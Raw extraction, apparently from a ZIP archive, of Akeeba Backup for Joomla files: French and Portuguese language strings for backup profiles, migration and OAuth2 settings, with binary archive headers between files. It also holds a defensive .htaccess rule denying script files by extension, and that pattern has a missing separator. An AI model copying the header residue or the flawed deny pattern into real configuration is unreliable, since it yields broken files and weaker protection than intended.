COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FORMAT="Le format de la réponse. Utilisez JSON pour obtenir un ID numérique analysable en JSON du nouveau profil de sauvegarde. Valeurs : text, json"

COM_AKEEBABACKUP_CLI_PROFILE_CREATE_ERR_FAILED="Impossible de créer le profil : %s"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_SUCCESS="Nouveau profil créé avec l'ID %s."
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_HELP="<info>%command.name%</info> créera un nouveau profil Akeeba Backup.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_DESC="Crée un nouveau profil Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_DESCRIPTION="Description du nouveau profil de sauvegarde. Par défaut : \"Nouveau profil de sauvegarde\""
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_QUICKICON="Le nouveau profil de sauvegarde doit-il avoir une icône de sauvegarde en un clic ? Par défaut : 1"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_FORMAT="Le format de la réponse. Utilisez JSON pour obtenir un ID numérique analysable en JSON du nouveau profil de sauvegarde. Valeurs : text, json"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_NEW_PROFILE="Nouveau profil de sauvegarde"

COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_DEFAULT="Vous ne pouvez pas supprimer le profil de sauvegarde par défaut (#1)"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_NOTFOUND="Impossible de supprimer le profil %s ; profil introuvable."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_FAILED="Impossible de supprimer le profil #%s : %s"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_LBL_SUCCESS="Le profil #%d a été supprimé."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_HELP="<info>%command.name%</info> supprimera un profil Akeeba Backup.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_DESC="Supprime un profil Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_OPT_ID="L'ID numérique du profil à supprimer"

COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_ERR_NOT_FOUND="Impossible d'exporter le profil %s ; profil introuvable."
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_HELP="<info>%command.name%</info> exportera un profil Akeeba Backup sous forme de chaîne JSON.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_DESC="Exporte un profil Akeeba Backup sous forme de chaîne JSON"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_ID="L'ID numérique du profil à modifier"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_FILTERS="Inclure les paramètres de filtres ?"

COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_INVALID_JSON="Impossible de traiter l'entrée ; chaîne JSON invalide ou fichier introuvable."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_GENERIC="Impossible d'importer le profil : %s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_LBL_SUCCESS="JSON importé avec succès en tant que profil #%s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_HELP="<info>%command.name%</info> importera un profil Akeeba Backup depuis une chaîne JSON.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_DESC="Importe un profil Akeeba Backup depuis une chaîne JSON"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FILEORJSON="Un chemin vers un fichier JSON d'export de profil Akeeba Backup ou une chaîne JSON littérale. Utilise STDIN si omis."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FORMAT="Le format de la réponse. Utilisez json pour obtenir un ID numérique analysable en JSON du nouveau profil de sauvegarde. Valeurs : json, text"

COM_AKEEBABACKUP_CLI_PROFILE_LIST_HELP="<info>%command.name%</info> listera les profils de sauvegarde Akeeba Backup.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_DESC="Liste les profils de sauvegarde Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_OPT_FORMAT="Format de sortie : table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_NOTFOUND="Impossible de modifier le profil %s ; profil introuvable."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_GENERIC="Impossible de modifier le profil #%s : %s"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_LBL_SUCCESS="Profil #%s modifié avec succès."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_HELP="<info>%command.name%</info> modifiera un profil Akeeba Backup.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_DESC="Modifie un profil Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_ID="L'ID numérique du profil à modifier"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_DESCRIPTION="Description du nouveau profil de sauvegarde. Utilise la description de l\'ancien profil si non spécifiée."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_QUICKICON="Le nouveau profil de sauvegarde doit-il avoir une icône de sauvegarde en un clic ? Copie le paramètre de l\'ancien profil si non spécifié."

COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_NOTFOUND="Impossible de modifier le profil %s ; profil introuvable."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_GENERIC="Impossible de réinitialiser le profil #%s : %s"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_LBL_SUCCESS="Profil #%s réinitialisé avec succès."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_HELP="<info>%command.name%</info> réinitialisera un profil Akeeba Backup.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_DESC="Réinitialise un profil Akeeba Backup"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_ID="L'ID numérique du profil à modifier"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_FILTERS="Réinitialiser les filtres ?"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_CONFIGURATION="Réinitialiser la configuration ?"

COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_ERR_CANNOT_FIND="Impossible de trouver l'option \"%s\"."
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_HELP="<info>%command.name%</info> obtiendra la valeur d'une option globale du composant Akeeba Backup.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_DESC="Obtient la valeur d'une option globale du composant Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_KEY="La clé d'option à récupérer"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_FORMAT="Format de sortie : text, json, print_r, var_dunp, var_export."

COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_HELP="<info>%command.name%</info> listera les options globales du composant Akeeba Backup.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_DESC="Liste les options globales du composant Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_OPT_FORMAT="Format de sortie : table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_LBL_SETTING="Définir l'option du composant \"%s\" à \"%s\""
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_HELP="<info>%command.name%</info> définira la valeur d'une option globale du composant Akeeba Backup.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_DESC="Définit la valeur d'une option globale du composant Akeeba Backup"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_KEY="La clé d'option à définir"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_VALUE="La valeur d'option à définir"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_FORMAT="Format de sortie : text, json, print_r, var_dunp, var_export."

COM_AKEEBABACKUP_CLI_HEAD_MIGRATE="Migration depuis Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_MIGRATE_COMMAND_DESC="Migre les paramètres depuis Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_BACKUP_MIGRATE_HELP="<info>%command.name%</info> migrera les paramètres et les archives de sauvegarde depuis Akeeba Backup 8, s'il est installé. AVERTISSEMENT : CECI ÉCRASERA TOUS VOS PARAMÈTRES ACTUELS SANS DEMANDER DE CONFIRMATION. Cette commande est destinée aux utilisateurs responsables uniquement.\nUsage : <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_MIGRATE_NOAB8="Akeeba Backup 8 n'est pas installé sur votre site."

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_HEAD="Migrez vos paramètres depuis une ancienne version d'Akeeba Backup"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BODY="Nous avons détecté qu'une ancienne version d'Akeeba Backup est installée sur votre site. Cliquez sur le bouton ci-dessous pour tenter une importation automatique de vos paramètres, de l'historique des sauvegardes et des archives de sauvegarde stockées dans le répertoire de sortie par défaut. Veuillez lire attentivement la documentation pour comprendre les risques et les limites de cette opération."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BTN="Migrer les paramètres"

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_HEAD="Vous avez déjà migré vos paramètres depuis une ancienne version d'Akeeba Backup"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BODY="Vous avez déjà migré vos paramètres depuis une ancienne version d'Akeeba Backup. Si vous souhaitez relancer la migration, cliquez sur « Migrer les paramètres ». Si vous êtes satisfait de la migration, cliquez sur « Montrez-moi ce qu'il faut désinstaller » pour ouvrir la page « Extensions : Gérer » de Joomla vers l'ancienne extension Akeeba Backup ; vous pourrez ensuite la sélectionner et cliquer sur Désinstaller pour la supprimer."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_NOTE="Si la désinstallation de l'ancienne version d'Akeeba Backup échoue, veuillez procéder comme suit. Tout d'abord, installez la dernière version d'Akeeba Backup 8. Ensuite, installez la dernière version d'Akeeba Backup pour Joomla 4. Revenez sur cette page et cliquez sur « Montrez-moi ce qu'il faut désinstaller ». Vous pourrez alors le désinstaller sans problème. Veuillez noter que les messages indiquant que FOF ou FEF ne peuvent pas être désinstallés peuvent être ignorés ; Akeeba Backup 8 sera désinstallé indépendamment de ces messages."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BTN="Montrez-moi ce qu'il faut désinstaller"

COM_AKEEBABACKUP_UPGRADE="Migration des paramètres"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_STANDARD="Cette opération écrasera tous vos paramètres existants et votre historique de sauvegardes."
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_HEAD="Les prérequis de migration ne sont pas satisfaits"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_BODY="Nous n'avons pas détecté de version compatible d'Akeeba Backup. Si vous tentez d'exécuter la migration maintenant, vous risquez de rencontrer des erreurs et/ou des pertes de données. Ne continuez pas à moins d'y avoir été expressément invité par nos développeurs. Ignorez cet avertissement sévère à vos risques et périls !"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_HEAD="Vous avez déjà migré vos paramètres"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_BODY="Vous avez déjà exécuté la migration auparavant. Si vous tentez de relancer la migration, vous risquez de rencontrer des erreurs et/ou des pertes de données. Ne continuez pas à moins d'y avoir été expressément invité par nos développeurs. Ignorez cet avertissement sévère à vos risques et périls !"
COM_AKEEBABACKUP_UPGRADE_LBL_WHAT_IT_DOES="Akeeba Backup pour Joomla! importera les paramètres de configuration, les profils de sauvegarde, l'historique des sauvegardes et <em>certaines</em> des archives de sauvegarde (celles dans <code>administrator/components/com_akeeba/backup</code>) depuis une ancienne version d'Akeeba Backup (7.x ou 8.x) déjà installée sur votre site, en écrasant toutes les données existantes. Vous ne devriez utiliser cette fonctionnalité que la toute première fois que vous installez Akeeba Backup pour Joomla! afin d'éviter toute perte de données."
COM_AKEEBABACKUP_UPGRADE_LBL_REMEMBER_TO_UNINSTALL="N'oubliez pas de désinstaller l'ancienne version d'Akeeba Backup une fois la migration terminée. Utilisez l'élément de menu latéral de Joomla appelé « Système ». Trouvez le panneau Gérer et cliquez sur Extensions. Trouvez et sélectionnez l'extension <em>Akeeba Backup package</em> de type « Package ». Cliquez ensuite sur le bouton Désinstaller dans la barre d'outils."
COM_AKEEBABACKUP_UPGRADE_BTN_PROCEED="Procéder à la migration"
COM_AKEEBABACKUP_UPGRADE_LBL_SUCCESS="La migration des paramètres s'est terminée avec succès."
COM_AKEEBABACKUP_UPGRADE_LBL_FAIL="La migration des paramètres n'a pas pu se terminer. Vous devrez peut-être importer manuellement vos profils de sauvegarde et/ou transférer et importer des archives de sauvegarde."

COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_TITLE="Téléverser vers Microsoft OneDrive (Dossier spécifique à l'application)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_DESCRIPTION="Téléverse l'archive de sauvegarde vers Microsoft OneDrive, dans le dossier spécifique à l'application pour Akeeba Backup (<code>Apps/Akeeba Backup</code>). C'est plus restrictif que les autres options de téléversement OneDrive, mais moins susceptible de causer des problèmes avec certains comptes présentant des difficultés d'authentification avec l'autre intégration que nous proposons."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_TITLE="Sous-répertoire dans <code>Apps/Akeeba Backup</code>"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_DESCRIPTION="Le sous-répertoire dans le dossier spécifique à l'application Akeeba Backup (<code>Apps/Akeeba Backup</code>) de votre espace Microsoft OneDrive dans lequel les archives de sauvegarde seront téléversées. Veuillez utiliser des barres obliques (<code>/</code>), non des barres obliques inverses (<code>\\<code>), et toujours placer une barre oblique au début. Correct : <code>/some/thing</code>. Incorrect : <code>some\\thing</code>. Une seule barre oblique signifie que les archives seront stockées à la racine du lecteur. N'incluez PAS le chemin vers le dossier spécifique à l'application (<code>Apps/Akeeba Backup</code>) ; celui-ci est ajouté automatiquement par Microsoft OneDrive lui-même !"

COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_LABEL="Assistants OAuth2"
COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_DESC="Uniquement pour la version Professionnelle. Vous permet d'avoir une URL d'assistant OAuth2 personnalisée au lieu d'utiliser celle fournie par Akeeba Ltd. Veuillez lire la documentation."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_LABEL="Assistant OAuth2 pour Box.com"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_DESC="Utilisez Box.com avec votre propre application API OAuth2 au lieu d'utiliser celle fournie par Akeeba Ltd. Veuillez lire la documentation."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_LABEL="ID client"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_DESC="L'ID client que vous obtenez de Box.com pour votre application API."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_LABEL="Secret client"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_DESC="Le secret client que vous obtenez de Box.com pour votre application API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_LABEL="Assistant OAuth2 pour Dropbox"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_DESC="Utilisez Dropbox avec votre propre application API OAuth2 au lieu d'utiliser celle fournie par Akeeba Ltd. Veuillez lire la documentation."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_LABEL="ID client"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_DESC="L'ID client que vous obtenez de Dropbox pour votre application API."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_LABEL="Secret client"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_DESC="Le secret client que vous obtenez de Dropbox pour votre application API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_LABEL="Assistant OAuth2 pour Google Drive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_DESC="Utilisez Google Drive avec votre propre application API OAuth2 au lieu d'utiliser celle fournie par Akeeba Ltd. Veuillez lire la documentation."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_LABEL="ID client"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_DESC="L'ID client que vous obtenez de la Google Cloud Console pour votre application API."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_LABEL="Secret client"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_DESC="Le secret client que vous obtenez de la Google Cloud Console pour votre application API."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_LABEL="Assistant OAuth2 pour OneDrive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_DESC="Utilisez OneDrive avec votre propre application API OAuth2 au lieu d'utiliser celle fournie par Akeeba Ltd. Veuillez lire la documentation."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_LABEL="ID client"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_DESC="L'ID client que vous obtenez de OneDrive pour votre application API."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_LABEL="Secret client"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_DESC="Le secret client que vous obtenez de OneDrive pour votre application API."

COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_YOU_WILL_NEED="Vous aurez besoin des URLs suivantes."
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_CALLBACK_URL="URL de rappel"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_HELPER_URL="URL de l'assistant OAuth2"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_REFRESH_URL="URL de renouvellement OAuth2"

COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_TITLE="Assistant OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION="Choisissez l'ensemble d'URLs d'assistant OAuth2 à utiliser. Veuillez lire la documentation."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA="Fourni par Akeeba Ltd"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM="Personnalisé"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_TITLE="URL de l'assistant OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION="L'URL complète vers l'assistant d'authentification OAuth2. Veuillez lire la documentation."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_TITLE="URL de renouvellement OAuth2"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION="L'URL complète vers l'assistant de renouvellement de jeton OAuth2. Veuillez lire la documentation."
PK     \Sʉ        language/fr-FR/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \F    '  language/pt-PT/com_akeebabackup.sys.ininu [        ;; Installation package description
;; ================================================================================
COM_AKEEBABACKUP_XML_DESCRIPTION="O componente de cópia de segurança mais popular para Joomla!&trade;"

;; Permissions
;; ================================================================================
COM_AKEEBABACKUP_ACCESS_BACKUP_LBL="Cópia de segurança"
COM_AKEEBABACKUP_ACCESS_BACKUP_DESC="Permite realizar cópias de segurança com Akeeba Backup."
COM_AKEEBABACKUP_ACCESS_CONFIGURE_LBL="Configurar"
COM_AKEEBABACKUP_ACCESS_CONFIGURE_DESC="Permite configurar perfis do Akeeba Backup e usar a restauração integrada (se disponível)."
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_LBL="Transferir"
COM_AKEEBABACKUP_ACCESS_DOWNLOAD_DESC="Permite transferir, carregar e gerir arquivos do Akeeba Backup, bem como usar o Assistente de Transferência de Sites (se disponível)."

;; Menu items
;; ================================================================================
;; For the admin menu manager which uses the name attribute of the XML manifest
AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; For the default menu item
COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"

;; Default submenus
COM_AKEEBABACKUP_CONTROLPANEL="Painel de Controlo"
COM_AKEEBABACKUP_CONFIGURATION="Configuração do Perfil"
COM_AKEEBABACKUP_BACKUP="Fazer Cópia de Segurança"
COM_AKEEBABACKUP_MANAGE="Gerir Cópias de Segurança"

;; Custom form Fields
;; ================================================================================
COM_AKEEBABACKUP_FORMFIELD_BACKUPPROFILES_NONE="(Nenhum)"

;; Custom menu items (backend menu editor)
;; ================================================================================
COM_AKEEBABACKUP_VIEW_CPANEL_TITLE="Painel de Controlo"
COM_AKEEBABACKUP_VIEW_CPANEL_DESC="A página principal do Akeeba Backup, que permite configurar, realizar, gerir e restaurar cópias de segurança."

COM_AKEEBABACKUP_VIEW_BACKUP_TITLE="Cópia de segurança"
COM_AKEEBABACKUP_VIEW_BACKUP_DESC="Realizar uma cópia de segurança"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_LABEL="Forçar perfil de cópia de segurança"
COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_DESC="Selecione o perfil de cópia de segurança a ativar antes de iniciar a cópia. Escolha '(Nenhum)' para usar o perfil de cópia de segurança atual, seja ele qual for."
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_LABEL="Iniciar imediatamente"
COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_DESC="A cópia de segurança deve iniciar imediatamente? Se sim, o utilizador não terá a oportunidade de introduzir uma descrição e comentários."
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_LABEL="Ocultar barra de ferramentas"
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_DESC="A barra de ferramentas com os botões Ajuda e Painel de Controlo deve ser ocultada?"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_LABEL="URL de retorno"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_DESC="Introduza um URL interno para onde redirecionar após a conclusão da cópia de segurança. Por exemplo: introduza <code>index.php</code> para regressar ao painel de controlo do Joomla ou <code>index.php%3Foption%26com_akeeba</code> para regressar ao painel de controlo do Akeeba Backup. <br/> <strong>AVISO</strong> Devido ao funcionamento do gestor de menus do Joomla!, o URL que introduzir DEVE estar codificado em URL. Pode fazê-lo guardando o item de menu <em>duas vezes seguidas</em>. Trata-se de um erro conhecido / funcionalidade em falta no próprio Joomla!."

COM_AKEEBABACKUP_VIEW_CONFIGURATION_TITLE="Configuração"
COM_AKEEBABACKUP_VIEW_CONFIGURATION_DESC="Configurar o perfil de cópia de segurança atualmente ativo."

COM_AKEEBABACKUP_VIEW_MANAGE_TITLE="Gerir Cópias de Segurança"
COM_AKEEBABACKUP_VIEW_MANAGE_DESC="Gerir tentativas de cópia de segurança, incluindo a opção de restaurar qualquer cópia anterior."

COM_AKEEBABACKUP_VIEW_RESTORE_TITLE="Restaurar Última Cópia de Segurança"
COM_AKEEBABACKUP_VIEW_RESTORE_DESC="Restaura a última cópia de segurança realizada com um perfil específico. Por favor, leia a documentação."
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_LABEL="Perfil de cópia de segurança"
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_DESC="Restaura a última cópia de segurança realizada com este perfil. <strong>IMPORTANTE!</strong> Apenas procura a última cópia de segurança realizada com este perfil. O arquivo de cópia de segurança DEVE existir no seu servidor. Se o tiver eliminado ou se estiver armazenado remotamente, receberá um erro. Para restaurar cópias de segurança armazenadas remotamente, aceda primeiro a Gerir Cópias de Segurança e transfira-as de volta para o servidor."

COM_AKEEBABACKUP_VIEW_TRANSFER_TITLE="Assistente de Transferência de Sites"
COM_AKEEBABACKUP_VIEW_TRANSFER_DESC="Permite restaurar a última cópia de segurança para uma localização/servidor diferente. <strong>IMPORTANTE!</strong> Apenas procura a última cópia de segurança realizada. O arquivo de cópia de segurança DEVE existir no seu servidor. Se o tiver eliminado ou se estiver armazenado remotamente, será solicitado que realize uma nova cópia de segurança. Para transferir cópias de segurança armazenadas remotamente, aceda primeiro a Gerir Cópias de Segurança e transfira-as de volta para o servidor."
PK     \Z`?>D >D #  language/pt-PT/com_akeebabackup.ininu [        COM_AKEEBABACKUP="Akeeba Backup <small>para Joomla!&trade;</small>"
COM_AKEEBABACKUP_CORE="Akeeba Backup CORE <small>para Joomla!&trade;</small>"
COM_AKEEBABACKUP_PRO="Akeeba Backup Professional <small>para Joomla!&trade;</small>"

COM_AKEEBABACKUP_ALICE="Resolução de problemas - ALICE"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_HEAD="A análise do registo está concluída"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERROR="Erro detetado"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERRORHELP="Se não compreender o que significa o erro acima e tiver uma subscrição de suporte ativa no nosso sítio, por favor abra um pedido de suporte incluindo todo o texto desta página. Isto permitir-nos-á ajudá-lo de forma mais eficiente. Obrigado!"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_NEXTSTEPS="Se a solução apresentada acima não o ajudou a resolver o seu problema e tiver uma subscrição de suporte ativa no nosso sítio, por favor abra um pedido de suporte incluindo: 1. um ficheiro ZIP com o ficheiro de registo da sua cópia de segurança; e 2. o texto desta página. Por favor não inclua <em>apenas</em> esta informação, pois tornará as nossas respostas mais lentas e menos precisas. Tente também descrever o seu problema de cópia de segurança com mais detalhe, tal como porque acredita haver um problema, quando o problema começou a acontecer, quaisquer passos corretivos que tenha tomado e qualquer informação que considere relevante para nos ajudar a compreender melhor o que se passa."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SOLUTION="Solução possível:"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY="O ALICE terminou a análise do registo. Foram executadas um total de %d verificações diferentes."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_ERRORS="Detetámos um problema grave que pode ter causado a falha da sua cópia de segurança."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_SUCCESS="Não foram detetados problemas na cópia de segurança."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_WARNINGS="Detetámos apenas alguns problemas menores que normalmente não causam a falha da cópia de segurança."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_WARNINGS="Avisos detetados"
COM_AKEEBABACKUP_ALICE_ANALYZE="Analisar registo"
COM_AKEEBABACKUP_ALICE_AUTORUN_NOTICE="Por favor aguarde. O seu registo começará a ser analisado em breve."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM="A verificar erros do sistema de ficheiros"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES="Diretórios grandes"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_ERROR="Os seguintes diretórios têm um número muito elevado de elementos: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_SOLUTION="Deverá mudar o motor de análise para <strong>Analisador de sítios grandes</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES="Problemas com ficheiros grandes"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_ERROR="Os seguintes ficheiros são demasiado grandes e podem causar problemas na cópia de segurança: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_SOLUTION="Por favor tente excluir estes ficheiros usando a funcionalidade de Exclusão de Ficheiros e Diretórios ou elimine-os se tiver a certeza de que não precisa deles no seu sítio."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES="Múltiplas instalações do Joomla!"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_ERROR="Foram encontradas instalações do Joomla! nos seguintes subdiretórios: \n%s"
